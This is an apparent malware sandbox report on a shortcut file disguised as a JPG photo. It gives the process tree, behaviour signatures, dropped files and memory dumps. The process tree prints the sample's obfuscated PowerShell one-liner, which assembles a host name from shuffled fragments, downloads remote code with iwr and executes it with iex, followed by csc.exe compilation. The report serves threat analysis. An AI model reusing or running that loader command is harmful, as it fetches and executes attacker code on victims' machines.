Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 06:41

General

  • Target
    IMG_20260727_194048.jpg.lnk
  • Size 1KB
  • Sample260728-hf3ssadj4y
  • SHA256 c41a15af4a6bde757c5ed3379c5f50a8170a1ed1b8e2be856a3cea0d418a594b
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_194048.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('res','stayn','o','n','s','ervph','h','op','otoi','w.')[0,5,8,3,1,2,9,4,6,7] -join $Wn9nfND) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1048
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s5v3gdd0\s5v3gdd0.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3408
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9AEE.tmp" "c:\Users\Admin\AppData\Local\Temp\s5v3gdd0\CSC55090AB36F54B37B0238745D922731.TMP"
          4⤵
            PID:5628

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES9AEE.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES9AEE.tmp
          • Size 1KB
          • SHA256 bb4e0b2a1767cc8bc2263569f03bcc148c9f3deecc6f1c66312c14414e1d4986
          • MD5 SHA1 SHA512 TLSH

          s5v3gdd0.dll

          • Path C:\Users\Admin\AppData\Local\Temp\s5v3gdd0\s5v3gdd0.dll
          • Size 3KB
          • SHA256 7f6b6fcdb1d3ab324c98c1f30476d0a5b0d2ebe8d87d75a71a730278461a642e
          • MD5 SHA1 SHA512 TLSH

          CSC55090AB36F54B37B0238745D922731.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\s5v3gdd0\CSC55090AB36F54B37B0238745D922731.TMP
          • Size 652B
          • SHA256 ecb9722743f429c793d90bfbb5d3e40330d45dc81386228ae233fe61d3b3c559
          • MD5 SHA1 SHA512 TLSH

          s5v3gdd0.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\s5v3gdd0\s5v3gdd0.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          s5v3gdd0.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\s5v3gdd0\s5v3gdd0.cmdline
          • Size 369B
          • SHA256 ff48b441746d6e649cfa6d8f13d50cdc5f2515420dfa1b664d4269137f1588f4
          • MD5 SHA1 SHA512 TLSH

          memory/1048-10-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-9-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-11-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-12-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-13-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-14-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-15-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-16-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-18-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-17-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-19-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-2-0x00007FFD1E61F000-0x00007FFD1E620000-memory.dmp

          memory/1048-8-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-7-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-32-0x0000025B422A0000-0x0000025B422A8000-memory.dmp

          memory/1048-6-0x0000025B422B0000-0x0000025B422D2000-memory.dmp

          memory/1048-5-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-33-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-34-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-35-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

          memory/1048-36-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp